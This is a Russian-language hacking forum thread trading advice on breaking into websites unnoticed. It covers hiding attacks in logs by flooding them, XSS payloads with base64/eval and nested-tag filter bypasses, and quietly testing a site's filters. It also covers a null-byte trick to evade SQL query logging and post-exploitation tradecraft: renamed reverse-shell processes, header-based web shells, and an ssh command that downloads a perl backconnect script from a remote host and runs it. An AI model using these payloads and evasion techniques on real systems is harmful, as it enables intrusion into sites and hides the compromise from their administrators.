Ещё одна тема по сбору информации, в ней предлагаю обсудить информацию о незаметном вторжении, поиске уязвимостей и т.п. 1. Пред проверкой GET-параметра на уязвимость, следует проверить возможность его использования в POST или COOKIES, и если такая возможность существует, GET параметр не убирать, а к примеру маскироваться под парсер. При эксплуатации уязвимости желательно проверить отсутствие админа на сайте встроенными средствами. 2. XSS: 3. SQLi: 4. LFI/RFI/Читалки и т.п.: 5. Перед повторном запросом на скрипт с уязвимостью с GET-использованием желательно засрать страницу лога от разных ай-пи'шников с разными запросами (При готовых эксплоитах, SQLi с выводом). 6. Если ситуация позволяет, параметр полностью кодировать в urlencode.
Плагины FireFox, которые будут интересны всем: Единственное, чего мне нехватает - выборочное отключение запросов с одного домена на другие сторонние(CSRF GET), для этого дополнения вроде пока нет.
Кто позволил себе удалить последний пост к этой теме? Еще раз говорю, эти методы бредовые. Ага, и спалим саму переменную в уязвимом скрипте(хоть и в гете не эксплуатировалась и никогда не использовалась!) =/ ну а если активная усложняем себе работу, зачем (следующего пункта также касается!) ага, засрать страницу лога чтоб админ быстрее узнал, что ресурс скомпроментирован.
Вообще, да - методы спорные. Не стал писать, пока тема висела в группах, но спущенная в паблик означает, что группа согласна с этим и делится информацией со всеми. Поэтому прокомментирую. 1 Согласен с первой частью, вторую оспаривать не буду, но и применять тоже не буду. 2 Наверное да. 3 Ничем не лучше, ловится и по сигнатурам и зрительно одинаково подозрительны. Будут смотреть логи, обязательно проверят оба. 4 См. пункт 3. 5 Наверное да, не факт. 6 Хороший совет, на 100% не спасет, даже на 50, но от ленивого админа очень даже может (конечно, если не анализируют взлом, а просто дежурный просмотр логов).
А вот и нет. 'Всем привет :"->' - это здесь совсем не нужно. Закрытие тега и двойная кавычка для XSS не требуется. Пример (в конце пробел): PHP: <img src=1 id=YWxlcnQoJ3hzcycp onerror=eval(atob(id)) "В 5-ом пункте ссылка битая :'-<" - такой текст пригодится (кавычка здесь так же не обязательна). Но на практике часто встречаются фильтры типа "<[a-zA-Z].+?>", поэтому даже если ":'-<" проходит, сразу пытаться провести атаку не стоит. Для проверки подобного фильтра можно использовать текст "пошли вы все на<censored>". Независимо от наличия XSS, этот текст подозрений не вызовет. Не менее часто разработчики допускают серьезную ошибку, не зацикливая "<[a-zA-Z].+?>", вследствие чего "<<script>script>alert(xss)</script>" после фильтра превращается в "<script>alert(xss)</script>" и код выполняется. Мой вариант: Текст 1: "пошли вы все на<censored>" - если прошло, больше проверок не нужно (XSS есть). если не прошло, используем текст 2. Текст 2: "В 5-ом пункте ссылка битая :-<" - если прошло, используем текст 3. если не прошло, больше проверок не нужно (XSS нет). Текст 3: "<<o>o>любой текст" - в любом случае на странице отобразится только "любой текст", независимо от наличия XSS, и никто ничего не заметит.
Немного оффтопа, может кому-то будет интересно. Объясню, почему закрытие тега при XSS не обязательно. К примеру, код: PHP: <div>текст<img src=1 id=YWxlcnQoJ3hzcycp onerror=eval(atob(id)) </div> после предварительной обработки браузером будет выглядеть так: PHP: <div> текст<img src="1" id="YWxlcnQoJ3hzcycp" onerror="eval(atob(id))" <="" div=""/> </div> "</div>" для браузера - это пустой атрибут "<", символ разделения атрибутов "/", пустой атрибут "div" и скобка ">", закрывающая тег "a". Так как тег "<div>" после таких преобразований остался открытым, браузер исправляет эту "ошибку программиста" и закрывает самостоятельно, добавляя "</div>"
M_Script, спасибо за пример. Конечно не следует воспринимаемость буквально и ВСЕГДА делать именно так. 3. Пункт может быть полезен тогда, когда ведутся логи SQL-запросов (например на уровне приложения). 2. Смешно, кода выкладывают XSS-ки с <script>alert('xss');</script>. Если сайтом занимаются - уязвимость через пару дней исчезает обязательно.
Опять к 3. У Вас какие-то неверные подходы/методы(хз как сказать!). Хитрый запрос в лог файле прокатит если админ тупой. Сама проблема тут остаётся. Тут лучше копать в другую сторону. =/ Пример: Атакующий может обойти логирование запросов к базе данных. Code: mysql_query('/*'.chr(0).'*/ SELECT * FROM table'); MySQL <= 5.0.18 advisory
^^^^^^^^^^^^^^^^^^^^^###^^^^^^^^^^ ^^^^^^^^^^^^^^^^#####^^^^####^^^^^^ ^^^^^^^^^^^^^^#^#^#^^^^#^^^^^#^^^^^ ^^^^^^^^^^^^^#^#^^#^^#^^^^^#^^#^^^^ ^^^^^^^^^^^^^#^#^#^#^#^^^##^^^#^^^^ ^^^^^^#^^^^^#^^^#^#^#^####^^^#^^^^^ ^^^^^^##^^^^#^^^#^#^^^^#^^^#^#^^^^^ ^^^^^^###^^^^#^^^#^#^^^#^^#^^^#^^^^ ^^^^^^#####^^^#^^#^^#^^##^^^^^#^^^^ ^^^^^^^#####^^^############^^##^^^^ ^^^^^^^^^^##^^^^##^^^^######^^^^^^^ ^^^^^^^^^^^##^^###^####^^^^^^^^^^^^ ^^^^^^^^^^^#####^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^###^^^^####^^^^^^^^^^^^^^ ^^^^^^^^^##^^^^^^^#####^^^^^^^^^^^^ ^^^^^^^^##^^^^^^^^^^####^^^^^^^^^^^ ^^^^^^^##^^^^^^^^^^^^###^^^^^^^^^^^ ^^^^^^##^^^^^^^^^^^^^^^#^^^^^^^^^^^
Это правило, которое лучше не нарушать. Общий смысл таков: - скрыть атаку в логах, или замаскировать. - при невозможности скрыть, затруднить анализ проведенных действий, или представить атаку неумелой, бессмысленной. Один из немногих, кто еще занимается исследованиями сам. И публикует их.
спасибо, хорошая статья достаточно ли одного vpn для маскировки ip или лучше несколько цепочек: тор vpv, анонимайзеры ? стоит ли лог зафлудить запросами - которые итут от юзеров взломанного сайта ? или лучше рандомизировать в js рандомные что бы были ?
Ждите когда он в очередной раз, начнет набирать группу и успевайте занимать места в ней, там вам все будет!)
Добавлю от себя. При возможности выполнять команды, не работайте лишний раз в веб-шелле - делайте бекконнекты. 1.Всегда переименовывайте рабочий процесс бек-коннекта. Простенькая утилиты с подменой первого аргумента в exec вам поможет. Процесс переименованный в процесс веб-сервера (или что вы ломаете) намного незаметнее обычного /bin/bash. Порождаемые подпроцессы обычно висят недолго. 2. Старайтесь не использовать лишних аргументов при запуске бинарников. К примеру nmap умеет читать CMD из переменных окружения. NMAP_ARGS="127.0.0.1 80-443" nmap Совмещая с переименовыванием процесса, можно очень тихо работать из шелла. 3. Отвязывайтесь от родительского процесса перед созданием бекконнекта. Например sh -c 'perl < bc.pl &' 4. Делайте беконнекты на порты, которые больше всего светятся в нетстате. 5. При использовании веб-шеллов, юзайте те, которые передают команды через хттп-заголовки. POST и GET запросы на шеллы очень хорошо видно в логах 6. При логине по ssh, не открывайте терминальную сессию, а сразу выполняете команду по бекконнекту. Таким образом даже если вы не сможете стереть логи, следы остануться только в /var/log/secure (auth.log и т.п.). Но вас не будет в lastlog или last Пример: ssh user@host 'wget http://your-host/bc.pl -O - | perl &' 7. В идеале используте все это поверх ssl. Бекконнект с ssl на перле пишется в 5 минут, принять это на сервере поможет stunnel.
